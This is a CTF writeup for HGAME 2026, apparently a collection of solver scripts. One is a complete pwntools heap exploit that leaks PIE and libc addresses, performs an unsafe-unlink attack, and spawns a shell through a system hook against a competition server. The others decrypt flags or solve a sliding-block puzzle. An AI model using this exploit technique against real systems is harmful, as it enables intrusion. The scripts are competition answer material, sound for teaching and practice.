HGAME 2026 题解 (writeup)

"""
Exploit script for competitions.HGAME.2026.problems.Pwn.Heap1sEz
by SigAurelia, affiliated with Project Hazelita
"""

from pwn import *

exe = ELF("./vuln_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.35.so")

# fmt: off
context.binary = exe
context.terminal = ["wt.exe", "nt", "--title", "pwndbg", "wsl.exe", "-d", "Ubuntu", "bash", "-c"]
# context.log_level = "debug"
context.log_level = "info"

# io = process([exe.path])
io = remote("cloud-middle.hgame.vidar.club", 31475)

context.gdb_binary = "/home/sigaurelia/.nix-profile/bin/pwndbg"
# gdb.attach(
#     io,
#     gdbscript="""
#     b *main
# """,
# )
# fmt: on


def add(chunk_idx: int, chunk_size: int):
    io.sendlineafter(b">", b"1")
    io.sendlineafter(b"Index: ", str(chunk_idx).encode())
    io.sendlineafter(b"Size: ", str(chunk_size).encode())
    log.info(f"ADD chunk! IDX: {chunk_idx}, SIZE: {chunk_size}")


def delete(chunk_idx: int):
    io.sendlineafter(b">", b"2")
    io.sendlineafter(b"Index: ", str(chunk_idx).encode())
    log.info(f"DELETE chunk! IDX: {chunk_idx}")


def edit(chunk_idx: int, content: bytes):
    io.sendlineafter(b">", b"3")
    io.sendlineafter(b"Index: ", str(chunk_idx).encode())
    io.sendlineafter(b"Content:", content)
    log.info(f"EDIT chunk! IDX: {chunk_idx}, CONTENT: {content}")


def show(chunk_idx: int):
    io.sendlineafter(b">", b"4")
    io.sendlineafter(b"Index: ", str(chunk_idx).encode())
    chunk_data = io.recvline()[:-1]
    log.info(f"SHOW chunk! IDX: {chunk_idx}, CONTENT: {chunk_data}")


def gift(hook: str):
    io.sendlineafter(b">", b"6")
    io.sendlineafter(b"give me a hook\n", hook.encode())


def addr_from_chunk(chunk_idx: int):
    io.sendlineafter(b">", b"4")
    io.sendlineafter(b"Index: ", str(chunk_idx).encode())
    chunk_data = io.recvline()[:-1]
    # log.info(f"SHOW chunk! IDX: {chunk_idx}, CONTENT: {chunk_data}")
    leak_addr = u64(chunk_data.ljust(8, b"\x00"))
    log.info(f"LEAKED ADDR! IDX: {chunk_idx}, ADDR: {hex(leak_addr)}")
    return leak_addr


def step_1():
    add(0, 32)
    add(1, 32)  # guard chunk
    delete(0)
    leak_addr = addr_from_chunk(0)
    # Note that leak_addr = &main_arena - 8 since `bck = bin_at(&main_arena, 1);`
    # Therefore &main_arena = leak_addr + 8
    main_arena_addr = leak_addr + 8
    exe.address = main_arena_addr - exe.sym["main_arena"]
    log.success(f"CALCULATED PIE BASE! ADDR: {hex(exe.address)}")


def step_2():
    notes_addr = exe.sym["notes"]
    log.success(f"notes ARRAY FOUND! ADDR: {hex(notes_addr)}")
    # Note that we'll have FD->bk = BK and BK->fd = FD on Chunk 0 (let which be P)
    # where FD = P->fd and BK = P->bk, therefore, if we let
    fake_fd = notes_addr - 0x18
    fake_bk = notes_addr - 0x10
    # then we'll have
    # FD->bk = BK: (&notes[0] - 0x18) + 0x18 = &notes[0] - 0x10 => *notes[0] = &notes[0] - 0x10,
    # BK->fd = FD: (&notes[0] - 0x10) + 0x10 = &notes[0] - 0x18 => *notes[0] = &notes[0] - 0x18.
    # The savvy reader will notice, that we can overwrite the value of notes[0]
    # after 24 bytes of padding.
    chunk_0_payload = p64(fake_fd) + p64(fake_bk)
    edit(0, chunk_0_payload)
    log.success("fake_fd and fake_bk UPDATED!")
    delete(1)  # trigger unlink
    log.success("TRIGGERED UNLINK!")
    # And now, notes[0] points to &notes[0] - 0x18.
    # As `puts` has been called before, as Lazy Binding, here we'll try to get `puts_got`.
    notes_payload = (
        b"SigAurelia" * 2 + b"hzlt" + p64(exe.got["puts"])
    )  # len(padding) = 0x18
    edit(0, notes_payload)
    puts_addr = addr_from_chunk(0)
    libc.address = puts_addr - libc.sym["puts"]
    log.success(f"CALCULATED LIBC BASE! ADDR: {hex(libc.address)}")


def step_3():
    system_addr = libc.sym["system"]
    log.info(f"CALCULATED system ADDR! ADDR {hex(system_addr)}")
    gift(str(hex(system_addr)))
    add(2, 32)
    edit(2, b"/bin/sh\x00")
    delete(2)


if __name__ == "__main__":
    step_1()
    step_2()
    step_3()
    io.interactive()

def solve():
    killCountEncryptedFlag = [0, -8, -6, 6, 31, -39, -104, 114, 86, -23, -35, 28, -122, 56, 29, -126, -29, 94, 23, -29, 46, -126, -4, 45, 20, -57]
    aesEncryptedKey = [74, -111, -61, 127, 46, -75, 104, -44, 28, -119, 58, -14, 93, -90, 113, -66]
    xorKey1 = 102
    xorKey2 = 119

    substitutionMap = {
        'Q': 'A', 'W': 'B', 'E': 'C', 'R': 'D', 'T': 'E', 'Y': 'F', 'U': 'G', 'I': 'H', 'O': 'I', 'P': 'J',
        'A': 'K', 'S': 'L', 'D': 'M', 'F': 'N', 'G': 'O', 'H': 'P', 'J': 'Q', 'K': 'R', 'L': 'S', 'Z': 'T',
        'X': 'U', 'C': 'V', 'V': 'W', 'B': 'X', 'N': 'Y', 'M': 'Z', '!': '_', '[': '{', ']': '}'
    }

    def rotate_char(c, rot):
        if 'A' <= c <= 'Z':
            return chr(ord('A') + (ord(c) - ord('A') - rot) % 26)
        if 'a' <= c <= 'z':
            return chr(ord('a') + (ord(c) - ord('a') - rot) % 26)
        return c

    for i6 in range(65536):
        # derive key
        bArrKey = bytearray(16)
        i7 = i6
        for k_idx in range(16):
            i7 = (i7 * 1103515245 + 12345) & 0x7FFFFFFF
            bArrKey[k_idx] = (i7 >> 16) % 256

        # step 1: decryptWithKillCount
        d1 = bytearray(26)
        for i in range(26):
            d1[i] = (killCountEncryptedFlag[i] & 0xFF) ^ bArrKey[i % 16] ^ ((i * 13 + 7) % 256)

        # xor step
        d2 = bytearray(26)
        for i in range(13):
            d2[i] = d1[i] ^ xorKey1
        for i in range(13, 26):
            d2[i] = d1[i] ^ xorKey2

        # aes step (xor)
        d3 = bytearray(26)
        for i in range(26):
            d3[i] = d2[i] ^ (aesEncryptedKey[i % 16] & 0xFF)

        try:
            s3 = d3.decode('ascii')
        except:
            continue

        for rot in range(26):
            rotated = "".join(rotate_char(c, rot) for c in s3)
            final = "".join(substitutionMap.get(c, c) for c in rotated)

            if final.startswith('flag{') and final.endswith('}'):
                return final.replace('flag', 'hgame')

print(solve())

from collections import deque

# 5 rows x 4 cols
ROWS, COLS = 5, 4

# Initial board (index -> piece)
# Use '.' for empty
initial = [
    "P1","P0","P0","P2",
    "P1","P0","P0","P2",
    "P5","P5","P4","P3",
    "P6","P8","P4","P3",
    "P7",".",".","P9"
]

# Goal: Cao Cao (P0) at positions 13,14,17,18 (bottom center)
goal_positions = {13,14,17,18}

# Movement order (priority)
DIRS = [
    ('W', -1,  0),
    ('A',  0, -1),
    ('S',  1,  0),
    ('D',  0,  1),
]

# Extract pieces
def get_pieces(board):
    pieces = {}
    for idx, v in enumerate(board):
        if v != ".":
            pieces.setdefault(v, []).append(idx)
    return pieces

def idx_to_rc(i):
    return divmod(i, COLS)

def rc_to_idx(r,c):
    return r*COLS + c

def can_move(board, piece_cells, dr, dc):
    # Check if all moved cells are in bounds and not blocked
    for idx in piece_cells:
        r,c = idx_to_rc(idx)
        nr,nc = r+dr, c+dc
        if not (0 <= nr < ROWS and 0 <= nc < COLS):
            return False
        nidx = rc_to_idx(nr,nc)
        if board[nidx] != "." and nidx not in piece_cells:
            return False
    return True

def move_piece(board, piece_cells, dr, dc, name):
    new_board = board[:]
    # Clear old
    for idx in piece_cells:
        new_board[idx] = "."
    # Set new
    for idx in piece_cells:
        r,c = idx_to_rc(idx)
        nidx = rc_to_idx(r+dr, c+dc)
        new_board[nidx] = name
    return new_board

def board_key(board):
    return tuple(board)

def is_goal(board):
    # Cao Cao occupies 4 cells
    cells = [i for i,v in enumerate(board) if v=="P0"]
    return set(cells) == goal_positions

def bfs(start):
    q = deque()
    q.append((start, []))
    seen = set()
    seen.add(board_key(start))

    while q:
        board, path = q.popleft()
        if is_goal(board):
            return path, board

        pieces = get_pieces(board)

        # Priority 1: piece index ascending (P0, P1, ...)
        # Sort by numeric part
        def piece_key(p):
            return int(p[1:])  # "P0" -> 0
        for piece in sorted(pieces.keys(), key=piece_key):
            cells = pieces[piece]

            # Priority 2: W A S D
            for dch, dr, dc in DIRS:
                if can_move(board, cells, dr, dc):
                    nb = move_piece(board, cells, dr, dc, piece)
                    k = board_key(nb)
                    if k not in seen:
                        seen.add(k)
                        q.append((nb, path + [dch + piece[1:]]))
    return None, None

def print_board(board):
    for r in range(ROWS):
        row = board[r*COLS:(r+1)*COLS]
        print(" ".join(f"{x:>2}" for x in row))

if __name__ == "__main__":
    path, final_board = bfs(initial)
    if path is None:
        print("无解")
    else:
        for step in path:
            print(step)
        print(f"最短步数: {len(path)}")
        print("最终布局:")
        print_board(final_board)

import hmac
import hashlib
from Crypto.Cipher import AES

nonce = bytes.fromhex("8a8fa4ab7254811ef7a28a47394b66bf")
meta_key_str = b"VIDAR_HGAME_D3C_A3S_K2_build2026"

ciphertext = bytes.fromhex(
    "24c7cf462bf5f7e04e07abdf170e1ea6"
    "ec8df713af3a574b381d396a9ea1eb02"
    "60b8aa8a646d9d26d2454c79459510dc"
    "532317b2f1488960220a9104ee31772d"
)

h1 = hmac.new(b'\x00' * 32, nonce, hashlib.sha256).digest()

final_aes_key = hmac.new(h1, meta_key_str + b'\x01', hashlib.sha256).digest()[:16]
print(f"[*] Derived AES Key: {final_aes_key.hex()}")

cipher = AES.new(final_aes_key, AES.MODE_ECB)
transformed_flag_with_pad = cipher.decrypt(ciphertext)

pad_len = transformed_flag_with_pad[-1]
transformed_flag = transformed_flag_with_pad[:-pad_len]

def ror(val, r_bits, max_bits=8):
    return ((val & (2**max_bits - 1)) >> r_bits % max_bits) | \
           (val << (max_bits - (r_bits % max_bits)) & (2**max_bits - 1))

def solve_vm_layer(data):
    decoded = []
    for i, byte in enumerate(data):
        val = byte ^ 0x5A
        shift = ((i * 3) + 1) & 7
        val = ror(val, shift)
        key = ((i * 13) + 195) & 0xFF
        val = val ^ key
        decoded.append(val)
    return bytes(decoded)

flag = solve_vm_layer(transformed_flag)
print(f"[+] Flag: {flag.decode()}")